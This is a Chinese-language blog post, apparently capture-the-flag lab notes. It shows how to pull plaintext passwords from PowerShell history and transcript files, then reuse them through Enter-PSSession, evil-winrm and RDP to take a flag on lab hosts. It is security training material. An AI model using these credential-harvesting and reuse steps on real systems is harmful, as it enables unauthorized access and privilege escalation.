Windows PowerShell 資訊
Windows PowerShell 資訊
啟用 Powershell 的日誌 Log 是一個很有用的事情,但也伴隨著被利用的可能性
本節將重點放在 PowerShell 相關的 Log 紀錄日誌上與如何利用
靶機 : 192.168.197.220,獲取使用者 daveadmin 桌面上的 flag
前提 : 已有使用者帳號 dave 起的 444 Port remote shell
可以使用 Get-History 查看下過的 Powershell 指令,一開始輸入時甚麼都沒有
簡單輸入幾個指令後再次輸入 Get-History 即可看到如下結果
另外可以使用 Clear-History 來清除所有紀錄,當我們輸入該指令後再次 Get-History 如下
可以看到僅有最後的 Clear-History 指令
Powershell 會很雞婆地將指令存在另一個 PSReadline 這個地方,一般執行 Clear-History 並不會清除這個地方的歷史資料,所以當 Get-History 沒有結果時不要忘了 PSReadline
透過指令 (Get-PSReadlineOption).HistorySavePath 確認 Log 存放路徑
確認 Log 檔案路徑後,查看內容 type C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,獲得有用資訊 -Name "Server02 Admin PW" -Secret "paperEarMonitor33@"
查看其它指令可以發現,下面是替 KeePass 註冊一個新的資料庫
Register-SecretVault -Name pwmanager -ModuleName SecretManagement.keepass -VaultParameters $VaultParams
還有一行看來用了 $cerd 帶了帳號密碼到某 Session
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
其中還有一行使用Start-Transcript啟動 PowerShell 轉錄
Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"
所以這時候就看看這個文件吧 type C:\Users\Public\Transcripts\transcript01.txt
看來像是 daveadmin / qwertqwertqwert123!! 帳號與密碼
讓我們照著他的指令一併輸入吧,看來是一般帳號登入後用來提權使用的 Powershell 以帶入管理帳號去執行相關的管理事項
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
PS C:\Users\dave> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
PS C:\Users\dave> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
PS C:\Users\dave> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> whoami
whoami
clientwk220\daveadmin
但執行任何指令都沒有 Output,這也許是一種意外或是限制
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> cd C:\
cd C:\
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> pwd
pwd
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> dir
dir
但我們已經有了帳號密碼 daveadmin / qwertqwertqwert123!!,此時可以改用 evil-winrm
指令 └─$ evil-winrm -i 192.168.197.220 -u daveadmin -p "qwertqwertqwert123\!\!"
登入後即可直接拿 flag 了
Go to Event Viewer → Events from Script Block Logging are in Application and Services → Microsoft → Windows → PowerShell → Operational: Click Filter Current Log and search for 4104 events
練習 :
靶機 192.168.197.221,已知一般使用者帳號 / 密碼 : mac / IAmTheGOATSysAdmin!
第一步直接 RDP 進去 └─$ xfreerdp -v:192.168.197.221 -u:mac -p:IAmTheGOATSysAdmin!
Get-History 發現沒東西
檢查看看 Powershell 歷史紀錄的 Log Path,指令 : (Get-PSReadlineOption).HistorySavePath,路徑如下
C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type 看一下內容,flag 出現了,這麼簡單
留言
張貼留言